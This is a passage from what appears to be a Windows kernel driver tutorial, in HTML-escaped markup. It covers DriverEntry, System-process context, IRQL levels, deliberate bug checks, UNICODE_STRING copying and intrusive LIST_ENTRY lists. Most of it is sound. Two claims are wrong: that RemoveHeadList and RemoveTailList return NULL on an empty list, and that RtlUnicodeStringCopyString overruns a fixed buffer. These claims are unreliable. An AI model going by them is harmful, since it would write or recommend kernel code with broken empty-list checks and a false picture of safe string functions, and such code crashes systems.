&lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;ws] Driver Registry Path: &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;wZ&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, __FUNCTIONW__, RegistryPath);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; STATUS_SUCCESS;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;DriverEntry&lt;/code&gt; is the entry point, the driver’s &lt;code&gt;main&lt;/code&gt;. Once you set &lt;code&gt;DriverUnload&lt;/code&gt;, &lt;code&gt;sc stop&lt;/code&gt; can unload it cleanly. Build it into a &lt;code&gt;.sys&lt;/code&gt;, register it as a kernel service with &lt;code&gt;sc create&lt;/code&gt; and then &lt;code&gt;sc start&lt;/code&gt;, or just load it with something like the OSR loader.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Which process does a driver run in?&lt;a href=&quot;#which-process-does-a-driver-run-in&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;I was really curious about this the first time I wrote a driver, and one &lt;code&gt;PsGetCurrentProcessId()&lt;/code&gt; answers it:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;ws] Hello Kernel World, Current Process Id=0x&lt;/span&gt;&lt;span&gt;%p&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; __FUNCTIONW__&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PsGetCurrentProcessId&lt;/span&gt;&lt;span&gt;());&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;In &lt;code&gt;DriverEntry&lt;/code&gt; and in the unload callback alike, you get PID 4, the &lt;strong&gt;System process&lt;/strong&gt;. System isn’t a process in the usual sense. It’s a process the system makes up to stand for the kernel, and drivers run in its context.&lt;/p&gt;&lt;p&gt;What this means in practice is that &lt;strong&gt;a driver’s context and an application’s context must be kept strictly apart&lt;/strong&gt;. If process A is running (the CPU is in A’s virtual address space) and the driver happens to run on that same CPU, the “user-mode addresses” the driver touches are A’s. When some other process calls the same driver, those addresses point at something completely different. So the first thing a driver does with a user-mode pointer is validate it, and access it with &lt;code&gt;ProbeForRead&lt;/code&gt;/&lt;code&gt;ProbeForWrite&lt;/code&gt; or inside &lt;code&gt;try/except&lt;/code&gt;. Never assume.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;IRQL&lt;a href=&quot;#irql&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Threads have priorities, and the scheduler works with time slices and priorities. The driver-level counterpart is &lt;strong&gt;IRQL (interrupt request level)&lt;/strong&gt;: code at a higher IRQL can interrupt and preempt code at a lower one. This is the most important idea in kernel programming, because it decides &lt;strong&gt;which functions you can call and which memory you can touch&lt;/strong&gt; at a given moment.&lt;/p&gt;

&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;IRQL&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;Typical case&lt;/th&gt;&lt;th&gt;What you can do&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;PASSIVE_LEVEL&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;User threads, most kernel functions&lt;/td&gt;&lt;td&gt;Call almost any kernel API, touch paged and nonpaged memory, wait&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;APC_LEVEL&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;APCs, page fault handling&lt;/td&gt;&lt;td&gt;Use most kernel APIs, paged memory is still fine&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DISPATCH_LEVEL&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;DPCs, while holding a spinlock&lt;/td&gt;&lt;td&gt;Only specific APIs, &lt;strong&gt;nonpaged memory only&lt;/strong&gt;, no waiting&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;code&gt;DriverEntry&lt;/code&gt; runs at &lt;code&gt;PASSIVE_LEVEL&lt;/code&gt;, and the system guarantees that. To see the current value, call &lt;code&gt;KeGetCurrentIrql()&lt;/code&gt;. The first time I ran it and saw 0, the table told me I was in the most relaxed state there is.&lt;/p&gt;&lt;p&gt;The habit to build before writing any code is to check each function’s docs for requirements like “IRQL: &amp;lt;= DISPATCH_LEVEL” before you call it. If they don’t match, get ready for a blue screen.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Blue-screening on purpose&lt;a href=&quot;#blue-screening-on-purpose&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When a buggy driver crashes the system, that’s the blue screen (BSOD). The usual causes come in three kinds: deadlock at high IRQL, memory access violations, and an unbalanced stack.&lt;/p&gt;&lt;p&gt;Sometimes your code has already landed in a state it can’t recover from. Rather than keep going and scribble all over memory, it’s better to call &lt;code&gt;KeBugCheckEx&lt;/code&gt; and blue-screen on purpose, so at least the dump shows you the scene of the crime as it was.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Strings&lt;a href=&quot;#strings&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The kernel represents strings as &lt;code&gt;UNICODE_STRING&lt;/code&gt;. &lt;strong&gt;The length comes from the &lt;code&gt;Length&lt;/code&gt; member, not from a &lt;code&gt;&apos;\0&apos;&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typedef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; _UNICODE_STRING {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;USHORT Length;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;USHORT MaximumLength;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PWSTR  Buffer;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} UNICODE_STRING, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;PUNICODE_STRING;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Initialize one with &lt;code&gt;RtlInitUnicodeString&lt;/code&gt;, at IRQL &amp;lt;= DISPATCH_LEVEL:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;UNICODE_STRING uFirstString &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;uFirstString&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; L&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;HelloWorld&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;String:&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;wZ&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;uFirstString&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Warning&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Watch out, it &lt;strong&gt;doesn’t allocate a Buffer&lt;/strong&gt;. It just points &lt;code&gt;Buffer&lt;/code&gt; at the string you passed in, so that string has to stay valid. If it’s a temporary on the stack, &lt;code&gt;uFirstString&lt;/code&gt; becomes a dangling pointer as soon as the function returns.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To copy into a buffer you prepared yourself, use &lt;code&gt;RtlUnicodeStringCopyString&lt;/code&gt; (include &lt;code&gt;Ntstrsafe.h&lt;/code&gt;). It runs at &lt;code&gt;PASSIVE_LEVEL&lt;/code&gt; and returns an &lt;code&gt;NTSTATUS&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WCHAR &lt;/span&gt;&lt;span&gt;strBuf&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;128&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;UNICODE_STRING uFirstString &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RtlInitEmptyUnicodeString&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;uFirstString&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; strBuf&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;sizeof&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;strBuf&lt;/span&gt;&lt;span&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RtlUnicodeStringCopyString&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;uFirstString&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; L&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;Hello Kernel&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;String: &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;wZ&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;uFirstString&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Warning&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Watch out, you can’t copy something too long into a “string with a fixed-size buffer”. It writes straight past the end using the length you gave it, and you get a blue screen with a memory access error. &lt;code&gt;MaximumLength&lt;/code&gt; is a hard limit, so when you pass it in, always make sure it equals the buffer’s real size.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Linked lists&lt;a href=&quot;#linked-lists&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;WDK lists are intrusive. You put a &lt;code&gt;LIST_ENTRY&lt;/code&gt; inside your own struct, instead of having list nodes that hold your data.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typedef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; _LIST_ENTRY {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; _LIST_ENTRY &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;Flink;&lt;/span&gt;&lt;span&gt;  // next&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; _LIST_ENTRY &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;Blink;&lt;/span&gt;&lt;span&gt;  // previous&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} LIST_ENTRY, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;PLIST_ENTRY;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typedef&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; _TestListEntry {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ULONG m_ulData1;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ULONG m_ulData2;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LIST_ENTRY m_ListEntry;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ULONG m_ulData3;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ULONG m_ulData4;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} TestListEntry, &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;PTestListEntry;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;There’s usually a head node that holds no data and only anchors the list.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LIST_ENTRY ListHeader &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;InitializeListHead&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ListHeader&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;InsertHeadList&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ListHeader&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;Entry2.m_ListEntry&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;InsertHeadList&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ListHeader&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;Entry1.m_ListEntry&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;InsertTailList&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ListHeader&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;Entry3.m_ListEntry&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;When you walk the list, &lt;code&gt;pListEntry&lt;/code&gt; is the address of the &lt;code&gt;LIST_ENTRY&lt;/code&gt;, not the start of your struct, so you convert back with &lt;code&gt;CONTAINING_RECORD&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PLIST_ENTRY pListEntry &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ListHeader.Flink;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt; (pListEntry &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;ListHeader)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PTestListEntry pTestEntry &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;CONTAINING_RECORD&lt;/span&gt;&lt;span&gt;(pListEntry, TestListEntry, m_ListEntry);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;ListPtr=&lt;/span&gt;&lt;span&gt;%p&lt;/span&gt;&lt;span&gt;, Entry=&lt;/span&gt;&lt;span&gt;%p&lt;/span&gt;&lt;span&gt;, Tag=&lt;/span&gt;&lt;span&gt;%c&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, pListEntry, pTestEntry, (CHAR)&lt;/span&gt;&lt;span&gt;pTestEntry&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;m_ulData1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pListEntry &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pListEntry&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;Flink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;CONTAINING_RECORD(Address, Type, Field)&lt;/code&gt; means “I know where this field is, give me the whole struct”, using the field offset the compiler worked out. You see this everywhere in the kernel (&lt;code&gt;ActiveProcessLinks&lt;/code&gt; and &lt;code&gt;ThreadListHead&lt;/code&gt; both work this way).&lt;/p&gt;&lt;p&gt;Removing and checking:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RemoveHeadList&lt;/code&gt; / &lt;code&gt;RemoveTailList&lt;/code&gt; return the removed node’s address on success, or NULL when the list is empty&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RemoveEntryList&lt;/code&gt; removes a given node and returns TRUE if the list is empty afterwards&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IsListEmpty&lt;/code&gt; returns TRUE when the list is empty&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;In multithreaded code, always hold a lock while walking a list. Otherwise you’re halfway through following a &lt;code&gt;Flink&lt;/code&gt; when another CPU deletes the next node, and that’s a textbook UAF.&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;
